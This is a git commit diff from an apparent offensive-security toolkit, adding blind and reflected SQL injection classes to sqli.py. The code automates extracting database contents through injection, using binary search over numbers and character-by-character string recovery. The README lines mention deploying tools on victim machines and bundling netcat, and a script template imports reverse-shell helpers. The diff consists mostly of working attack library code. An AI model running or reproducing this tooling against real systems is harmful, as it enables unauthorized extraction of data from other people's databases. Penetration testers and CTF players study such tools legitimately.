Added reflected SQLi
This commit is contained in:
parent
4b02f0bf25
commit
546d6c8447
@ -61,7 +61,7 @@ Can be deployed on victim machines to scan the intranet.
|
|||||||
- pcap_file_extract.py: Lists and extracts files from http connections found in pcap files
|
- pcap_file_extract.py: Lists and extracts files from http connections found in pcap files
|
||||||
- find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions
|
- find_git_commit.py: Compares a local repository (e.g. downloaded from a remote server) with another git repository to guess the commit hash. Useful to find used versions
|
||||||
- TODO: smb
|
- TODO: smb
|
||||||
- sqli.py: An abstract class for automizing SQL-Injections (WIP)
|
- sqli.py: An sqlmap-like abstract class for automizing SQL-Injections (WIP)
|
||||||
|
|
||||||
### [Windows](win/)
|
### [Windows](win/)
|
||||||
- nc.exe/nc64.exe: netcat standalone binary
|
- nc.exe/nc64.exe: netcat standalone binary
|
||||||
|
174
sqli.py
174
sqli.py
@ -2,8 +2,6 @@ from abc import ABC, abstractmethod
|
|||||||
import sys
|
import sys
|
||||||
import string
|
import string
|
||||||
|
|
||||||
# TODO: add blind/reflected option
|
|
||||||
# TODO: binary search instead of bruteforce
|
|
||||||
class SQLi(ABC):
|
class SQLi(ABC):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
@ -13,36 +11,6 @@ class SQLi(ABC):
|
|||||||
table = "" if not table else f" FROM {table}"
|
table = "" if not table else f" FROM {table}"
|
||||||
return f"SELECT {column}{table}{condition} LIMIT 1{offset}"
|
return f"SELECT {column}{table}{condition} LIMIT 1{offset}"
|
||||||
|
|
||||||
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False, binary_search=True):
|
|
||||||
|
|
||||||
query = self.build_query(column, table, condition, offset)
|
|
||||||
|
|
||||||
if self.blind_sqli(f"({query})=0"):
|
|
||||||
return 0
|
|
||||||
|
|
||||||
if not binary_search:
|
|
||||||
cur_int = 1
|
|
||||||
while self.blind_sqli(f"({query})>{cur_int}", verbose):
|
|
||||||
cur_int += 1
|
|
||||||
|
|
||||||
return cur_int
|
|
||||||
else:
|
|
||||||
min_value = 1
|
|
||||||
max_value = 1
|
|
||||||
|
|
||||||
while self.blind_sqli(f"({query})>{max_value}", verbose):
|
|
||||||
min_value = max_value + 1
|
|
||||||
max_value = max_value * 2
|
|
||||||
|
|
||||||
while True:
|
|
||||||
cur_int = (min_value + max_value) // 2
|
|
||||||
if self.blind_sqli(f"({query})>{cur_int}", verbose):
|
|
||||||
min_value = cur_int + 1
|
|
||||||
elif self.blind_sqli(f"({query})<{cur_int}", verbose):
|
|
||||||
max_value = cur_int - 1
|
|
||||||
else:
|
|
||||||
return cur_int
|
|
||||||
|
|
||||||
def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
|
def extract_multiple_ints(self, column: str, table=None, condition=None, verbose=False):
|
||||||
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
||||||
if verbose:
|
if verbose:
|
||||||
@ -54,50 +22,26 @@ class SQLi(ABC):
|
|||||||
|
|
||||||
return rows
|
return rows
|
||||||
|
|
||||||
def extract_string(self, column: str, table=None, condition=None, offset=None, max_length=None, verbose=False, charset=string.printable):
|
def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False):
|
||||||
|
|
||||||
if max_length is None:
|
|
||||||
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
|
|
||||||
if verbose:
|
|
||||||
print("Fetched length:", max_length)
|
|
||||||
|
|
||||||
cur_str = ""
|
|
||||||
while True:
|
|
||||||
found = False
|
|
||||||
query = self.build_query(f"ascii(substr({column},{len(cur_str) + 1},1))", table, condition, offset)
|
|
||||||
for c in charset:
|
|
||||||
if self.blind_sqli(f"({query})={ord(c)}", verbose):
|
|
||||||
found = True
|
|
||||||
cur_str += c
|
|
||||||
if verbose:
|
|
||||||
sys.stdout.write(c)
|
|
||||||
sys.stdout.flush()
|
|
||||||
break
|
|
||||||
if not found or (max_length is not None and len(cur_str) >= max_length):
|
|
||||||
break
|
|
||||||
|
|
||||||
if verbose:
|
|
||||||
print()
|
|
||||||
|
|
||||||
return cur_str
|
|
||||||
|
|
||||||
def extract_multiple_strings(self, column: str, table=None, condition=None, verbose=False, charset=string.printable):
|
|
||||||
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
row_count = self.extract_int(f"COUNT({column})", table=table, condition=condition, verbose=verbose)
|
||||||
if verbose:
|
if verbose:
|
||||||
print(f"Fetching {row_count} rows")
|
print(f"Fetching {row_count} rows")
|
||||||
|
|
||||||
rows = []
|
rows = []
|
||||||
for i in range(0, row_count):
|
for i in range(0, row_count):
|
||||||
rows.append(self.extract_string(column, table, condition, i, verbose=verbose, charset=charset))
|
rows.append(self.extract_string(column, table, condition, i, verbose=verbose))
|
||||||
|
|
||||||
return rows
|
return rows
|
||||||
|
|
||||||
# Following methods need to be implemented in the exploit
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def blind_sqli(self, condition: str, verbose=False) -> bool:
|
def extract_int(self, column: str, table=None, condition=None,
|
||||||
|
offset=None, verbose=False):
|
||||||
|
pass
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# Following methods will be implemented by MySQLi, PostgreSQLi, ...
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def get_database_version(self, verbose=False):
|
def get_database_version(self, verbose=False):
|
||||||
pass
|
pass
|
||||||
@ -118,6 +62,108 @@ class SQLi(ABC):
|
|||||||
def get_column_names(self, table: str, schema: str, verbose=False):
|
def get_column_names(self, table: str, schema: str, verbose=False):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
class ReflectedSQLi(SQLi, ABC):
|
||||||
|
|
||||||
|
def __init__(self, column_types: list):
|
||||||
|
self.column_types = column_types
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def reflected_sqli(columns: list, table=None, condition=None, offset=None):
|
||||||
|
pass
|
||||||
|
|
||||||
|
def extract_int(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||||
|
query_columns = [column] + list(map(lambda c: f"'{c}'", range(2, len(self.column_types))))
|
||||||
|
return int(self.reflected_sqli(query_columns, table, condition, offset)[0])
|
||||||
|
|
||||||
|
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False):
|
||||||
|
if str not in self.column_types:
|
||||||
|
print("[!] Reflectd SQL does not reflect string types, only:", self.column_types)
|
||||||
|
return None
|
||||||
|
|
||||||
|
str_column = self.column_types.index(str)
|
||||||
|
query_columns = list(map(lambda c: f"'{c}'", range(len(self.column_types))))
|
||||||
|
query_columns[str_column] = column
|
||||||
|
return self.reflected_sqli(query_columns, table, condition, offset)[str_column]
|
||||||
|
|
||||||
|
class BlindSQLi(SQLi, ABC):
|
||||||
|
|
||||||
|
@abstractmethod
|
||||||
|
def blind_sqli(self, condition: str, verbose=False) -> bool:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def extract_int(self, column: str, table=None, condition=None,
|
||||||
|
offset=None, verbose=False, binary_search=True,
|
||||||
|
min_value=None, max_value=None):
|
||||||
|
|
||||||
|
query = self.build_query(column, table, condition, offset)
|
||||||
|
|
||||||
|
if self.blind_sqli(f"({query})=0"):
|
||||||
|
return 0
|
||||||
|
|
||||||
|
if not binary_search:
|
||||||
|
cur_int = 1 if min_value is None else min_value
|
||||||
|
while self.blind_sqli(f"({query})>{cur_int}", verbose):
|
||||||
|
cur_int += 1
|
||||||
|
if max_value is not None and cur_int >= max_value:
|
||||||
|
return None
|
||||||
|
|
||||||
|
return cur_int
|
||||||
|
else:
|
||||||
|
if min_value is None or max_value is None:
|
||||||
|
min_value = 1 if min_value is None else min_value
|
||||||
|
max_value = 1 if max_value is None else max_value
|
||||||
|
|
||||||
|
while self.blind_sqli(f"({query})>{max_value}", verbose):
|
||||||
|
min_value = max_value + 1
|
||||||
|
max_value = max_value * 2
|
||||||
|
|
||||||
|
while True:
|
||||||
|
cur_int = (min_value + max_value) // 2
|
||||||
|
if self.blind_sqli(f"({query})>{cur_int}", verbose):
|
||||||
|
min_value = cur_int + 1
|
||||||
|
elif self.blind_sqli(f"({query})<{cur_int}", verbose):
|
||||||
|
max_value = cur_int - 1
|
||||||
|
else:
|
||||||
|
return cur_int
|
||||||
|
|
||||||
|
def extract_string(self, column: str, table=None, condition=None, offset=None, verbose=False, max_length=None, charset=string.printable):
|
||||||
|
|
||||||
|
if max_length is None:
|
||||||
|
max_length = self.extract_int(f"LENGTH({column})", table, condition, offset, verbose=verbose)
|
||||||
|
if verbose:
|
||||||
|
print("Fetched length:", max_length)
|
||||||
|
|
||||||
|
cur_str = ""
|
||||||
|
while True:
|
||||||
|
found = False
|
||||||
|
cur_column = f"ascii(substr({column},{len(cur_str) + 1},1))"
|
||||||
|
if charset:
|
||||||
|
query = self.build_query(cur_column, table, condition, offset)
|
||||||
|
for c in charset:
|
||||||
|
if self.blind_sqli(f"({query})={ord(c)}"):
|
||||||
|
found = True
|
||||||
|
cur_str += c
|
||||||
|
if verbose:
|
||||||
|
sys.stdout.write(c)
|
||||||
|
sys.stdout.flush()
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
c = self.extract_int(cur_column, table, condition, min_value=0, max_value=127)
|
||||||
|
if c is not None:
|
||||||
|
found = True
|
||||||
|
cur_str += chr(c)
|
||||||
|
if verbose:
|
||||||
|
sys.stdout.write(chr(c))
|
||||||
|
sys.stdout.flush()
|
||||||
|
|
||||||
|
if not found or (max_length is not None and len(cur_str) >= max_length):
|
||||||
|
break
|
||||||
|
|
||||||
|
if verbose:
|
||||||
|
print()
|
||||||
|
|
||||||
|
return cur_str
|
||||||
|
|
||||||
|
|
||||||
class PostgreSQLi(SQLi, ABC):
|
class PostgreSQLi(SQLi, ABC):
|
||||||
def get_database_version(self, verbose=False):
|
def get_database_version(self, verbose=False):
|
||||||
|
@ -86,8 +86,10 @@ if __name__ == "__main__":
|
|||||||
variables = "\n".join(f"{k} = {v}" for k, v in variables.items())
|
variables = "\n".join(f"{k} = {v}" for k, v in variables.items())
|
||||||
header = f"""#!/usr/bin/env python
|
header = f"""#!/usr/bin/env python
|
||||||
|
|
||||||
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY template.py, for more information, visit
|
#
|
||||||
# https://git.romanh.de/Roman/HackingScripts
|
# THE BASE OF THIS FILE WAS AUTOMATICALLY GENERATED BY {' '.join(sys.argv)}
|
||||||
|
# For more information, visit: https://git.romanh.de/Roman/HackingScripts
|
||||||
|
#
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import io
|
import io
|
||||||
@ -102,7 +104,7 @@ import urllib.parse
|
|||||||
from bs4 import BeautifulSoup
|
from bs4 import BeautifulSoup
|
||||||
from hackingscripts import util, rev_shell
|
from hackingscripts import util, rev_shell
|
||||||
from hackingscripts.fileserver import HttpFileServer
|
from hackingscripts.fileserver import HttpFileServer
|
||||||
from hackingscripts.sqli import MySQLi, PostgreSQLi
|
from hackingscripts.sqli import MySQLi, PostgreSQLi, BlindSQLi, ReflectedSQLi
|
||||||
from urllib3.exceptions import InsecureRequestWarning
|
from urllib3.exceptions import InsecureRequestWarning
|
||||||
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user